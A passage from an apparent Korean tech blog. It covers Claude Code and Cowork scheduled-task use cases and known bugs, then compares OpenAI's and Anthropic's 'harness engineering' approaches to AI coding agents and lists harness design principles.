주요 사용 사례	모닝 브리핑, 콘텐츠 캘린더, 이메일 정리, 팀 보고서	CI/CD 자동화, 문서 동기화, 라이브러리 유지보수, 배포 모니터링
플러그인 · 연동	Cowork 플러그인 생태계 (Google Calendar, Gmail, Notion 등)	MCP 커넥터 (Slack, Linear, GitHub, Google Drive 등)
기술 수준	터미널 불필요, 코드 지식 불필요	CLI 기본 조작, Git, cron 개념 이해 권장
실행 환경	Anthropic 클라우드 (로그인된 브라우저/앱)	Anthropic 클라우드(Cloud) · 로컬 머신(Desktop · /loop)

언제 어떤 걸 써야 하나

코드 리포지토리가 관련 없는 업무 자동화 (보고서, 브리핑, 콘텐츠) → Cowork 스케줄
터미널을 이미 열고 작업하는 개발 워크플로 → Claude Code /schedule · /loop
Git 리포지토리를 직접 읽고 쓰는 자동화 (CI, 문서 동기화, PR 생성) → Claude Code Cloud
로컬 파일 시스템을 직접 건드려야 하는 작업 → Claude Code Desktop 태스크
코딩을 모르는 팀원이 스스로 설정하게 하고 싶다 → Cowork 스케줄

비개발자도 쓸 수 있는 활용 사례

Claude Code Scheduled Tasks는 개발자 도구이지만, /schedule의 프롬프트는 자연어다. 코드를 작성하지 않아도 Git 리포지토리가 없는 작업에도 쓸 수 있다. 아래는 개발자가 아닌 팀원도 활용할 수 있는 실전 사례다.

참고: 아래 사례들은 Claude Code Desktop 태스크 또는 Cloud 태스크(MCP 커넥터 연결 시)로 구성할 수 있다. Git 리포지토리 없이 파일 시스템이나 MCP 도구만으로 동작하는 예시다.

사례 A: 매일 아침 모닝 브리핑 — Git 커밋 로그 기반 업무 일지

전날 Git 커밋 내역을 읽어 오늘 팀에 공유할 업무 일지를 자동으로 작성한다. Desktop 로컬 태스크로 구성하면 로컬 리포지토리를 직접 읽을 수 있다.

# Desktop 태스크 프롬프트 예시 (매일 평일 오전 8시 30분)
오늘 날짜를 확인하고, ~/projects/my-app 폴더에서
어제 하루 동안의 Git 커밋 로그를 조회하라.
커밋 메시지를 바탕으로 아래 형식의 업무 일지를 작성해
~/Documents/daily-log.md 파일에 추가하라.

형식:
## [날짜]
### 완료한 작업
- (커밋 메시지 기반으로 작성)
### 내일 이어갈 사항
- (미완료로 보이는 항목이 있으면 추론해서 작성)

파일이 없으면 새로 만들어라.

사례 B: 주간 콘텐츠 캘린더 — 블로그 · 소셜 미디어 자동화

매주 월요일 아침, 그 주에 발행할 블로그 아이디어와 소셜 포스트 초안을 자동으로 생성해 파일로 저장한다. 기획자나 마케터가 검토만 하면 되는 워크플로다.

# Desktop 태스크 프롬프트 예시 (매주 월요일 오전 9시)
오늘 날짜를 확인하고, ~/blog/drafts/ 폴더에 있는
가장 최근 발행 글 3개를 읽어라.
기존 글과 주제가 겹치지 않는 블로그 아이디어 3개와
각 아이디어에 대한 트위터(X) 홍보 문구 초안을 작성해
~/blog/weekly-plan-[이번주월요일날짜].md 파일로 저장하라.

파일 형식:
# 이번 주 콘텐츠 계획 [날짜]
## 아이디어 1
- 제목:
- 핵심 내용 (3줄 요약):
- X(트위터) 초안:
## 아이디어 2
...
## 아이디어 3
...

사례 C: 이메일 · 슬랙 받은 편지함 정리 요약

MCP 커넥터로 Gmail · Slack을 연결한 Cloud 태스크를 사용하면, 매일 아침 전날 미확인 메시지를 요약해 파일이나 슬랙 채널로 보낼 수 있다. (출처: 공식 문서 — Cloud Scheduled Tasks, MCP 커넥터 기능)

# Cloud 태스크 프롬프트 예시 (매일 오전 8시, Gmail · Slack 커넥터 필요)
어제 오후 6시부터 지금까지 수신된
Gmail 미확인 메일과 Slack 멘션을 확인하라.
각각 발신자, 핵심 내용, 필요한 액션을 1~2줄로 요약하고
아래 형식으로 정리하라.

## [날짜] 받은 편지함 요약
### Gmail (N건)
- [발신자] 핵심 내용 / 액션 필요 여부
### Slack 멘션 (N건)
- [채널 · 발신자] 핵심 내용 / 액션 필요 여부

# 중요도가 높다고 판단되는 항목은 맨 위로 올려라.
# 정기 뉴스레터, 자동발송 알림 등 액션이 필요 없는 메일은 제외하라.

주의: Gmail · Slack MCP 커넥터는 claude.ai Settings > Connectors에서 사전 연결이 필요하다. 커넥터 설정 없이는 Cloud 태스크가 메일 · 메시지에 접근할 수 없다.

사례 D: 팀 프레젠테이션 자동 준비

매주 금요일 오후, 그 주에 완료한 작업을 정리해 팀 회의용 발표 초안을 만든다. 로컬 Git 커밋 로그를 바탕으로 슬라이드 개요를 자동 생성한다.

# Desktop 태스크 프롬프트 예시 (매주 금요일 오후 4시)
이번 주 월요일부터 오늘까지의 Git 커밋 로그를
~/projects/ 폴더 아래 모든 리포지토리에서 조회하라.
완료한 주요 작업, 수정된 기능, 해결된 버그를 정리해
팀 주간 회의용 발표 초안을 작성하라.

출력 파일: ~/Documents/weekly-review-[날짜].md

형식:
# 주간 팀 리뷰 [날짜]
## 이번 주 완료 항목
- (구체적으로)
## 다음 주 계획
- (커밋 메시지에서 "WIP", "TODO" 등이 보이면 추론)
## 주요 수치 (커밋 수, 수정된 파일 수)

발표자가 5분 안에 말할 수 있을 분량으로 작성하라.

비개발자를 위한 시작 팁

터미널이 익숙하지 않다면 Claude Desktop 앱 → 사이드바 Schedule에서 UI로 태스크를 만든다.
프롬프트는 한국어로 작성해도 된다. Claude는 한국어 지시를 그대로 따른다.
처음엔 "Manual" 주기로 만들고 "Run now"를 눌러 결과를 확인한 뒤, 자동 반복으로 전환한다.
파일 경로는 반드시 절대 경로로 지정한다 (~/Documents/ 형식).

커뮤니티 반응

실사례 ① — 미팅 준비 자동화 (Khe Hy, Substack)

생산성 작가 Khe Hy가 Substack에 공개한 워크플로: 매일 아침 Google Calendar를 스캔해 당일 미팅 참석자의 LinkedIn 배경을 조사하고, Gmail 커넥터로 과거 이메일 이력을 끌어와, Granola 커넥터에서 이전 통화 요약을 추출한 뒤, 시각적 구분선이 포함된 Slack 브리핑으로 통합 전송한다. (출처: Khe Hy Substack, 2026-02)

핵심: 비개발자도 Gmail, Google Calendar, Slack MCP 커넥터만 연결하면 수십 분짜리 미팅 준비 작업을 완전 자동화할 수 있다. 단, 컴퓨터가 켜진 상태여야 Desktop 태스크가 실행된다는 점은 주의.

실사례 ② — 스마트폰으로 지시 → 데스크탑이 일함 (@mikefutia, X)

X 사용자 @mikefutia가 공개한 DTC 브랜드 자동화: "스마트폰으로 Claude에게 작업을 보내면 → 내 데스크탑에서 전체 워크플로를 실행하고 → 돌아왔을 때 완성된 파일이 있다." 경쟁사 분석, 크리에이티브 브리프, 주간 리포트를 스마트폰에서 트리거해 데스크탑이 처리하는 방식이다.

핵심: Desktop 태스크 + 자연어 프롬프트의 조합으로 코딩 없이 비즈니스 자동화 에이전트를 구성할 수 있다.

실사례 ③ — 개발자 팀의 야간 CI 트리아지 (Plain English, 2026-03)

여러 개발팀이 Cloud 스케줄 태스크를 야간에 돌려 CI 실패를 분석하고 아침 스탠드업 전에 수정 제안 초안을 준비한다. 또한 주간 PR 스윕 에이전트로 새 코드를 자동 리뷰하고 아키텍처 기준을 확인하며, 보안 감사(토큰 노출, 오래된 의존성)도 예약 실행한다. (출처: Plain English, 2026-03)

실사례 ④ — 5개 프로젝트 동시 자동화 (@Mosescreates, X)

X 사용자 @Mosescreates가 Cowork + 스케줄 태스크 + Projects 기능을 조합해 5개 프로젝트를 컨텍스트 혼선 없이 동시 운영하는 방식을 공개했다. Projects 기능이 각 스케줄 태스크를 독립된 컨텍스트로 분리해 서로 영향을 주지 않는다.

실사례 ⑤ — "설정 세금" 제거 (thedatawriter, Substack)

데이터 사이언티스트 블로거가 coined한 개념: "setup tax(설정 세금)" — 반복 작업마다 Claude에게 컨텍스트를 다시 설명하는 시간. 20분 × 주 3회 = 매달 3시간 이상이 순수 반복 준비에 낭비된다. 스케줄 태스크로 프롬프트를 한 번 정의하면 이 세금이 제거된다. (출처: thedatawriter Substack, 2026-03)

해당 블로거가 공개한 데이터 사이언티스트 특화 사례:

매일 아침 직무 시장 스캔 (타겟 도시·원격/하이브리드 조건 필터, 상위 3개 매칭 + LinkedIn 인맥 추출)
월간 이력서 vs 채용공고 5개 비교 → 반복 등장하는 누락 스킬 플래그
금요일 완료 vs 계획 비교 리뷰 → 3주 연속 미루는 항목 자동 경보
/loop 10m check the deployment status and tell me what changed — 배포 모니터링

실사례 ⑥ — 뉴스레터 순위 경쟁 인텔리전스

Claude in Chrome으로 Reletter의 Substack 차트를 스크래핑해 상위 250개 뉴스레터를 순위·이름·날짜·유무료 여부로 CSV 추출. 이어서 Cowork 태스크가 데이터셋을 처리해 "가장 순위가 오른 뉴스레터", "신규 진입", "순위 하락" 비교 리포트를 자동 생성한다. (출처: Artificial Corner, 2026-03)

비용 주의: 이 블로거는 "$20 Pro 플랜은 스케줄 태스크를 진지하게 쓰기엔 금방 한도에 도달한다. 무거운 워크플로엔 $100~$200 플랜이 현실적"이라고 밝혔다. 고빈도·고복잡도 태스크를 계획 중이라면 플랜 비용을 미리 고려해야 한다.

발견된 버그 & 주의사항 (GitHub Issues 기반, 2026-03 기준)

[Issue #36131] Cowork 탭을 먼저 열어야 VM이 시작된다: 태스크가 실행되는 실제 조건은 "Cowork 탭 포커스"가 아니라 "Cowork VM(Vmmem)이 실행 중"인 것이다. Claude Desktop 실행만으로는 VM이 자동 시작되지 않는다. 매 세션 시작 시 Cowork 탭을 한 번 열어두면 이후 Chat 탭으로 전환해도 태스크가 정상 실행된다. (출처: GitHub Issue #36131, 2026-03-19)
[Issue #33586] DST 전환 시 무한 루프 + 서비스 중단: 2026년 3월 8~9일 일광절약시간(DST) 전환 때 스케줄러가 무한 루프에 빠져 Anthropic이 스케줄 태스크 전체를 일시 비활성화했다. v1.1.5749 패치로 약 75분 만에 복구. 시스템적 시간대 버그(Issue #24213)가 이전부터 존재하며 중복 이슈로 닫힌 상태다. (출처: GitHub Issue #33586)
[Issue #30092] 브라우저 캐시 삭제 시 태스크 전체 소실: 캐시를 지우거나 앱 업데이트 후 모든 스케줄 태스크와 대화 이력이 삭제될 수 있다. 중요한 태스크 프롬프트는 외부 파일에 별도 백업 권장. (출처: GitHub Issue #30092)
[Issue #29022] Windows에서 /schedule 스킬 주입 실패: Windows 환경에서 create_scheduled_task 도구가 세션 컨텍스트에 주입되지 않아 /schedule 스킬이 실행되지 않는 버그가 보고됐다.
비밀키(Secrets) 관리: Cloud 태스크에서 API 키를 다룰 때 .env 파일을 직접 노출하지 말고, Cloudflare Workers·Fly.io·Vercel 같은 엣지 프로바이더에 MCP 서버를 배포해 키를 격리하는 것이 권장된다.
"자동화 번아웃" 경고: Khe Hy Substack 댓글에서 커뮤니티 멤버가 제기한 우려 — AI 자동화 헤비유저일수록 생산성과 번아웃이 동시에 높아지는 경향이 있으므로, 스케줄 자동화에 의도적인 한계를 설정할 것을 권고한다.
GitHub Actions 대안: Gigi Sayfan(개발자)은 반복 작업에 GitHub Actions + Claude Code 연동을 대안으로 제안했다. 더 세밀한 이벤트 트리거(push, PR 오픈 등)가 필요한 경우에 적합하다.

9. 결론

Scheduled Tasks는 Claude Code를 "내가 시키면 하는 도구"에서 "알아서 반복하는 동료"로 바꾼다. X에서 수백만 뷰를 기록한 이유가 있다 — 노트북을 닫아도 CI를 고치고, 문서를 업데이트하고, 다른 언어 라이브러리를 동기화하는 AI는 개발자들이 오래 원했던 것이다.

어떤 방식을 선택할 것인가

상황	추천 방식
노트북 꺼도 돌아가야 하는 CI/CD, 문서 업데이트	Cloud (`/schedule`)
로컬 파일을 직접 건드려야 하는 빌드/테스트	Desktop 로컬 태스크
지금 이 세션에서 배포 모니터링, 임시 체크	/loop
커넥터(Slack, Linear) 연동이 필요한 자동화	Cloud (커넥터 포함)

시작해 보기

오늘: /loop 10m check the build로 세션 내 반복을 경험한다.
이번 주: /schedule로 Cloud 태스크 하나를 만들어 본다. CI 체크나 문서 동기화 추천.
한 달 후: claude.ai/code/scheduled에서 실행 이력을 검토하고, 프롬프트를 개선한다.

참고 자료

공식 문서 (CLI /loop): Scheduled Tasks
공식 문서 (Cloud): Cloud Scheduled Tasks
공식 문서 (Desktop): Desktop App
태스크 관리 웹: claude.ai/code/scheduled
X 원문 (@claudeai): Cowork Scheduled Tasks 발표
X (@noahzweben): Cloud Scheduled Tasks + Go 트윈 라이브러리 사례

"하네스 엔지니어링" - AI 에이전트 시대, 코드보다 중요한 것 : OpenAI vs Anthropic 하네스 전략 비교

갓대희 — Thu, 26 Mar 2026 23:12:55 +0900

안녕하세요! 갓대희 입니다.

2026년 2월, OpenAI 엔지니어링 블로그에 "Harness Engineering"이라는 글이 올라왔다 (2026-02-11).

한 달 뒤인 2026-03-24, Anthropic도 "Harness Design for Long-Running Apps"를 발표했다. AI 에이전트 시대의 양대 빅테크가 한 달 간격으로 같은 키워드의 공식 엔지니어링 블로그를 쓴 것이다.

우연이 아니다. 두 회사 모두 같은 문제에 부딪혔기 때문이다 — 모델이 아무리 좋아져도, 모델을 감싸는 "하네스"가 나쁘면 결과물이 나쁘다.

이 글에서는 두 원문을 깊이 분석하고, 공통점과 차이점을 비교한 뒤, 실무에서 바로 적용할 수 있는 하네스 설계 원칙을 정리한다.

왜 "하네스"가 2026년의 화두인가
하네스(Harness)란 무엇인가
OpenAI의 접근: 하네스 엔지니어링
- 0줄 수동 코드, 100만 줄 제품
- 리포지토리 = 에이전트의 세계
- 아키텍처 강제와 엔트로피 관리
Anthropic의 접근: 하네스 디자인
- GAN에서 영감받은 3-에이전트 구조
- 주관적 품질을 점수화하기
- 모델이 좋아지면 하네스도 바뀐다
두 접근법 비교 분석
실무 적용: 하네스 설계 7원칙
제한사항 및 열린 질문
결론

하네스 엔지니어링 — 핵심 요약
AI 코딩 에이전트의 성능은 모델 자체보다 모델을 감싸는 환경(하네스)에 더 크게 좌우된다. OpenAI는 "리포지토리 전체를 에이전트가 읽고 쓸 수 있는 세계로 설계하라"고 말하고, Anthropic은 "생성기와 평가기를 분리하여 품질 피드백 루프를 만들라"고 말한다. 접근 방식은 다르지만 결론은 같다: "코드를 짜는 게 아니라 환경을 설계하는 것"이 엔지니어의 새 역할이다.

1. 왜 "하네스"가 2026년의 화두인가

2025년까지 AI 코딩 도구의 논의는 주로 모델 성능에 집중되어 있었다. "GPT-5가 나오면 코딩 에이전트가 완성될 것이다", "Opus 4.5가 긴 작업을 해결할 것이다" — 이런 식이었다.

하지만 2026년 초, 양대 빅테크가 연달아 발표한 엔지니어링 블로그는 다른 메시지를 전달한다.

회사	글 제목	저자	핵심 메시지
OpenAI	Harness Engineering	Ryan Lopopolo	"Humans steer. Agents execute."
Anthropic	Harness Design for Long-Running Apps	Prithvi Rajasekaran	"하네스의 흥미로운 조합 공간은 모델이 좋아져도 줄어들지 않는다. 이동할 뿐이다."

두 글의 공통된 발견: 모델의 원시 능력(raw capability)이 올라가도, 하네스 없이는 복잡한 실세계 작업을 안정적으로 수행할 수 없다. 모델이 좋아질수록 하네스가 불필요해지는 게 아니라, 하네스가 해결할 수 있는 문제의 복잡도가 함께 올라간다.

업계의 반응도 뜨겁다. Aaron Levie(Box CEO)는 X에서 "에이전트 하네스의 힘 배수(force multiplier)가 미친 수준이다"라고 평가했고, Martin Fowler(Thoughtworks)는 Birgitta Bockeler의 분석을 공유하며 "하네스가 서비스 템플릿의 새로운 형태가 될 수 있다"고 전망했다 (출처, 2026-02-17).

LangChain은 모델(gpt-5.2-codex)을 고정하고 하네스만 변경하여 Terminal Bench 2.0 점수를 52.8→66.5로 13.7점 올린 실험 결과를 공개했다 (출처, 2026-02-17). 한국의 GeekNews에서도 82포인트를 기록하며 화제가 되었다.

이 반응들이 보여주는 것은 하나다: 하네스는 더 이상 "있으면 좋은 것"이 아니라, 에이전트 코딩의 성능을 결정하는 핵심 변수로 인식되고 있다는 점이다.

2. 하네스(Harness)란 무엇인가

하네스(harness)는 원래 마구(馬具)를 뜻한다. 말의 힘을 제어하고 방향을 잡아주는 장치다. AI 맥락에서의 하네스도 같은 역할이다 — LLM의 능력을 특정 작업에 맞게 제어하고, 방향을 잡아주고, 결과를 검증하는 모든 것을 말한다.

하네스 ≠ 프롬프트

프롬프트는 하네스의 일부일 뿐이다. 하네스에는 리포지토리 구조, 문서 체계, 린터/CI, 피드백 루프, 에이전트 간 통신 프로토콜, 컨텍스트 관리 전략이 모두 포함된다. OpenAI의 표현을 빌리면 "에이전트가 유용한 일을 할 수 있게 해주는 도구, 추상화, 내부 구조의 총체"이다.

Phil Schmid(Hugging Face)가 제안한 비유가 직관적이다:

모델 = CPU, 컨텍스트 윈도우 = RAM, 에이전트 하네스 = 운영체제, 에이전트 = 애플리케이션.

CPU가 아무리 빨라도 좋은 OS 없이는 유용한 소프트웨어를 돌릴 수 없듯이, 모델이 아무리 좋아도 좋은 하네스 없이는 복잡한 작업을 안정적으로 수행할 수 없다.

LangChain은 이를 공식 분류 체계로 정리했다:

Agent Framework(LangChain) → Agent Runtime(LangGraph) → Agent Harness(DeepAgents).

"에이전트 = 모델 + 하네스. 모델이 아니라면, 당신은 하네스를 만들고 있는 것이다."

구체적으로 하네스는 다음을 포함한다.

환경 설계: 에이전트가 작업할 리포지토리 구조, 문서 체계, 도구 접근성
작업 분해: 큰 목표를 에이전트가 처리할 수 있는 단위로 나누는 전략
품질 검증: 린터, 테스트, 평가 에이전트 등 결과물의 정확성을 보장하는 메커니즘
컨텍스트 관리: 긴 작업에서 컨텍스트 윈도우를 효율적으로 사용하는 전략
피드백 루프: 결과를 평가하고 개선을 반복하는 구조
엔트로피 관리: 시간이 지남에 따라 코드베이스가 썩지 않게 유지하는 프로세스

프롬프트 엔지니어링 vs 하네스 엔지니어링

구분	프롬프트 엔지니어링	하네스 엔지니어링
초점	입력 텍스트 최적화	모델이 작동하는 환경 설계
범위	단일 요청 수준	시스템 전체 수준
방법	지시 문구 작성/개선	도구, 피드백 루프, 구조 설계
재현성	낮음 (동일 프롬프트도 결과 상이)	높음 (구조적 제약으로 일관성 확보)
확장성	모델 교체 시 재작성 필요	하네스가 모델 변화를 흡수

3. OpenAI의 접근: 하네스 엔지니어링

OpenAI의 글은 5개월간 수동 코드 0줄로 내부 제품을 만든 실험에서 나왔다. (출처: OpenAI Engineering Blog, 2026-02-11)

0줄 수동 코드, 100만 줄 제품

지표	수치
기간	5개월 (2025년 8월~)
수동 작성 코드	0줄
총 코드량	~100만 줄
PR 수	~1,500개
엔지니어 수	3명 → 7명
처리량	엔지니어당 3.5 PR/일
속도 추정	수작업 대비 ~1/10 시간 [ESTIMATE - 원문에서 직접 인용되지 않음]

핵심 원칙은 "Humans steer. Agents execute." — 인간은 방향을 잡고, 에이전트가 실행한다. 인간은 코드를 쓰는 것이 아니라 환경을 설계하고, 의도를 명세하고, 피드백 루프를 만드는 것이 주 업무가 된다.

리포지토리 = 에이전트의 세계

OpenAI가 가장 강조하는 개념: "에이전트가 접근할 수 없는 것은 존재하지 않는 것과 같다."

Google Docs에 있는 설계 문서, Slack에서 합의한 아키텍처 결정, 사람의 머릿속에 있는 암묵지 — 이런 것들은 에이전트에게 보이지 않는다. 따라서 모든 지식을 리포지토리 안에 버전 관리되는 형태로 넣어야 한다.

# OpenAI가 제안하는 리포지토리 지식 구조

AGENTS.md              # 약 100줄의 "목차" — 지도 역할
ARCHITECTURE.md        # 최상위 도메인/패키지 맵
docs/
├── design-docs/       # 설계 문서 (검증 상태 포함)
│   ├── index.md
│   ├── core-beliefs.md
│   └── ...
├── exec-plans/        # 실행 계획 (활성/완료/기술부채)
│   ├── active/
│   ├── completed/
│   └── tech-debt-tracker.md
├── generated/         # 자동 생성 문서 (DB 스키마 등)
├── product-specs/     # 제품 스펙
├── references/        # 외부 참조 (llms.txt 등)
├── DESIGN.md
├── FRONTEND.md
├── QUALITY_SCORE.md   # 각 도메인/레이어별 품질 등급
├── RELIABILITY.md
└── SECURITY.md

AGENTS.md를 "1,000페이지 매뉴얼"이 아닌 "목차"로 쓰라는 것이 핵심이다. OpenAI는 초기에 거대한 AGENTS.md를 시도했지만 실패했다. 이유 4가지:

컨텍스트는 희소 자원: 거대한 지시 파일이 실제 작업 컨텍스트를 밀어낸다
모든 게 중요하면 아무것도 중요하지 않다: 에이전트가 의도적 탐색 대신 패턴 매칭에 빠진다
즉시 썩는다: 단일체 매뉴얼은 유지보수가 안 된다
검증이 어렵다: 하나의 파일로는 커버리지, 신선도, 교차 링크를 기계적으로 확인할 수 없다

대신 Progressive Disclosure(점진적 공개)를 사용한다. 에이전트는 작고 안정적인 진입점(AGENTS.md)에서 시작해서, 필요에 따라 더 깊은 문서를 탐색한다.

아키텍처 강제와 엔트로피 관리

에이전트가 100만 줄의 코드를 생성하면 엔트로피(코드 품질 저하)가 불가피하다. OpenAI는 이를 두 가지로 해결한다.

1) 아키텍처 불변량(Invariant) 강제

각 비즈니스 도메인을 고정된 레이어(Types → Config → Repo → Service → Runtime → UI)로 나누고, 의존성 방향을 린터로 강제한다. "구현 방법은 자유롭게, 경계는 엄격하게"가 원칙이다. 이 린터도 Codex가 작성했다.

2) "가비지 컬렉션" — 정기적 정리

초기에는 매주 금요일(주당 20%)을 "AI 슬롭(slop) 청소"에 썼는데 확장이 안 됐다. 대신 "golden principles"를 리포지토리에 코드화하고, 백그라운드 Codex 태스크가 정기적으로 위반을 스캔하여 리팩토링 PR을 열도록 자동화했다. 기술 부채를 "고이자 대출"에 비유하며, 소량씩 지속적으로 갚는 것이 폭발적으로 쌓이는 것보다 낫다고 말한다.

OpenAI의 핵심 통찰

"에이전트가 생성한 코드가 인간의 스타일 선호와 항상 일치하지는 않는다. 그래도 괜찮다. 코드가 정확하고, 유지보수 가능하고, 미래 에이전트 실행에 읽기 쉬우면 기준을 충족한다."

4. Anthropic의 접근: 하네스 디자인

Anthropic의 글은 다른 각도에서 출발한다. 장시간(수 시간) 자율 코딩에서 품질을 어떻게 보장하는가?

(출처: Anthropic Engineering Blog)

나이브한 구현이 실패하는 이유

Anthropic은 두 가지 근본적인 실패 모드를 식별한다.

컨텍스트 불안(Context Anxiety): 컨텍스트 윈도우가 차면서 모델이 일관성을 잃거나, 아직 할 일이 남았는데 일찍 마무리하려 한다. Sonnet 4.5에서 특히 심했으며, 컴팩션(요약)만으로는 해결되지 않았다.
자기 평가의 편향: 에이전트에게 자기 작업을 평가하라고 하면 "자신감 있게 칭찬한다" — 인간이 보기에 품질이 떨어져도. 특히 디자인 같은 주관적 영역에서 심하지만, 검증 가능한 코딩 작업에서도 발생한다.

GAN에서 영감받은 3-에이전트 구조

이 문제를 해결하기 위해, Anthropic은 GAN(Generative Adversarial Network)에서 영감을 받은 3-에이전트 아키텍처를 설계했다.

에이전트	역할	세부 사항
Planner	1~4문장 프롬프트를 풀 스펙으로 확장	기술 세부사항보다 제품 맥락과 고수준 설계에 집중. AI 기능 통합 기회 탐색
Generator	실제 코드 생성 및 구현	스프린트 단위로 작업. React + Vite + FastAPI + SQLite/PostgreSQL 스택
Evaluator	Playwright MCP로 실제 앱을 조작하며 QA	기능별 점수 + 상세 비평. 기준 미달 시 Generator에 피드백

Generator와 Evaluator 사이에는 스프린트 계약(Sprint Contract)이 있다. 코드를 작성하기 전에 "이 스프린트에서 '완료'가 뭔지"를 양쪽이 합의한다. Evaluator는 이 계약을 기준으로 평가한다.

주관적 품질을 점수화하기 — 프론트엔드 디자인 실험

Anthropic은 프론트엔드 디자인에서 먼저 이 패턴을 실험했다. "이 디자인이 아름다운가?"는 일관되게 답하기 어렵지만, "이 디자인이 우리 원칙을 따르는가?"는 구체적으로 평가할 수 있다. 4가지 평가 기준을 만들었다.

기준	설명	가중치
Design Quality	색, 타이포그래피, 레이아웃이 하나의 분위기를 형성하는가	높음
Originality	의도적인 창의적 선택이 있는가, 아니면 AI 슬롭 패턴인가	높음
Craft	기술적 실행 품질 (타이포 계층, 간격 일관성, 대비)	보통
Functionality	미학과 무관한 사용성 — 사용자가 작업을 완료할 수 있는가	보통

반복 5~15회, 최대 4시간이 걸렸다. 주목할 점은, Evaluator가 Playwright MCP로 실제 페이지를 탐색하고 스크린샷을 찍으면서 평가한다는 것이다. 정적 스크린샷이 아니라 실제 인터랙션이다.

"박물관 수준의" 디자인 도약

네덜란드 미술관 웹사이트를 생성할 때, 9번째 반복까지는 깔끔한 다크 테마 랜딩 페이지였다. 그런데 10번째 반복에서 기존 접근을 완전히 버리고, CSS perspective로 렌더링된 3D 갤러리 — 체크무늬 바닥, 벽에 걸린 작품, 문 기반 내비게이션 — 로 재구상했다. 이전의 단일 패스 생성에서는 한 번도 본 적 없는 창의적 도약이었다.

모델이 좋아지면 하네스도 바뀐다

Anthropic이 가장 강조하는 교훈이다. 하네스의 모든 구성 요소는 "모델이 혼자 못하는 것"에 대한 가정을 인코딩한다. 모델이 좋아지면 가정을 재검증해야 한다.

하네스 구성	Opus 4.5에서	Opus 4.6에서
스프린트 분해	필수 — Sonnet 4.5가 긴 작업 일관성 유지 불가	Opus 4.5부터 불필요 — Opus 4.5에서 컨텍스트 불안 해소, Opus 4.6에서도 불필요. 2시간+ 일관 작업 가능
컨텍스트 리셋	필수 — Sonnet 4.5의 컨텍스트 불안 대응	불필요 — Opus 4.5부터 해소되어 4.6에서도 불필요, 자동 컴팩션 사용
Evaluator (QA)	매 스프린트마다 실행	전체 빌드 후 1회 (여전히 가치 있음)
Planner	필수	여전히 필수 (없으면 스코프 부족)

실전 비용 비교 (2D 레트로 게임 메이커 예시):

하네스	시간	비용	결과
단일 에이전트 (Solo)	20분	$9	핵심 기능(게임 플레이) 작동하지 않음
전체 하네스	6시간	$200	16개 기능, 게임 플레이 가능, AI 통합

20배 비싸지만, 단일 에이전트에서는 핵심 기능이 아예 작동하지 않았다. 비용이 아니라 "결과물이 쓸 수 있느냐 없느냐"가 진짜 차이다.

5. 두 접근법 비교 분석

관점	OpenAI (하네스 엔지니어링)	Anthropic (하네스 디자인)
핵심 은유	에이전트의 "세계" 구축	GAN 영감의 "적대적 피드백 루프"
주요 관심사	환경 설계 + 대규모 코드베이스 일관성	장시간 자율 코딩 + 품질 보장
에이전트 수	Codex 단일 에이전트 (+ 리뷰 에이전트)	명시적 3-에이전트 (Planner/Generator/Evaluator)
품질 보장 방법	린터 + CI + 구조적 테스트 + 정기 가비지 컬렉션	독립 Evaluator 에이전트 + Playwright 기반 실제 앱 QA
컨텍스트 관리	Progressive Disclosure (AGENTS.md → docs/)	컨텍스트 리셋 vs 자동 컴팩션 (모델에 따라)
규모	100만 줄, 1,500 PR, 5개월	풀스택 앱 1개, 4~6시간, $124.70~$200
엔트로피 대응	Golden Principles + 백그라운드 정리 에이전트	Evaluator가 스프린트마다 품질 게이트
인간의 역할	"환경 설계자" — 코드 0줄 작성	"하네스 튜너" — 평가 기준과 프롬프트 조정
모델 진화 시	명시적으로 다루지 않음	구성요소를 하나씩 제거하며 재검증

한 줄로 요약하면: OpenAI식 하네스는 리포지토리 규모의 일관성을 최적화하고, Anthropic식 하네스는 장시간 실행의 품질 보장을 최적화한다. 둘은 상호 배타적이지 않으며, 실무에서는 두 관점을 결합하는 것이 가장 효과적이다.

(위 비교는 양쪽 원문에서 직접 인용한 사실 기반이다. 아래 공통 원칙은 필자가 두 글을 종합하여 도출한 해석이다.)

접근 방식은 다르지만, 두 글에서 공통으로 나타나는 원칙이 있다.

에이전트의 작업 결과를 자동으로 검증하는 메커니즘이 필수이다
에이전트가 접근할 수 없는 지식은 존재하지 않는 것과 같다
하네스 설계는 일회성이 아니라 지속적인 튜닝이다
인간의 역할이 "코드 작성"에서 "환경/기준 설계"로 이동했다

6. 실무 적용: 하네스 설계 7원칙

두 글에서 추출한 실무 원칙을 정리한다.

원칙 1: 지도를 주지, 백과사전을 주지 마라

AGENTS.md / CLAUDE.md는 100줄 이내의 "목차"로 유지하고, 상세 내용은 docs/ 하위에 구조화한다. Progressive Disclosure로 에이전트가 필요할 때 깊이 탐색하게 한다. (OpenAI)

▶ 시작점 AGENTS.md 파일을 열고 100줄 넘는 부분을 확인한다. 넘는다면 해당 내용을 docs/ 디렉토리로 분리하고, AGENTS.md에는 해당 파일로의 링크만 남긴다.

원칙 2: 불변량은 코드로 강제하라

아키텍처 경계, 의존성 방향, 네이밍 규칙은 문서가 아닌 린터와 CI로 강제한다. 린터 에러 메시지에 수정 방법을 포함시켜 에이전트가 바로 고칠 수 있게 한다. (OpenAI)

▶ 시작점 레이어 경계 위반을 감지하는 린터 규칙 1개만 추가한다. (예: UI 컴포넌트에서 직접 DB 접근 금지). CI에 연결해서 에이전트가 생성한 코드에도 즉시 적용되게 한다.

원칙 3: 생성과 평가를 분리하라

에이전트에게 자기 작업을 평가하라고 하면 편향이 생긴다. 독립된 Evaluator를 두고, 그 Evaluator를 "회의적(skeptical)"으로 튜닝하는 것이 Generator를 자기 비판적으로 만드는 것보다 훨씬 쉽다. (Anthropic)

▶ 시작점 다음 PR 리뷰를 에이전트에게 맡길 때, 코드를 작성한 인스턴스와 다른 독립 인스턴스에 "이 PR의 문제점만 찾아라. 좋은 점은 생략해도 좋다"는 회의적 프롬프트로 리뷰를 요청해본다.

원칙 4: 에이전트에게 앱을 "보여줘라"

Chrome DevTools Protocol, Playwright MCP, 로컬 관측성 스택(로그/메트릭/트레이스)을 에이전트에 연결하여, 에이전트가 실행 중인 앱을 직접 구동하고 검증할 수 있게 한다. (OpenAI + Anthropic 공통)

▶ 시작점 에이전트에게 새 기능을 구현하게 하기 전에, 먼저 "로컬에서 앱을 실행하고 현재 동작을 스크린샷으로 캡처한 뒤 알려달라"고 요청해본다.

원칙 5: 모델이 바뀌면 하네스를 재검증하라

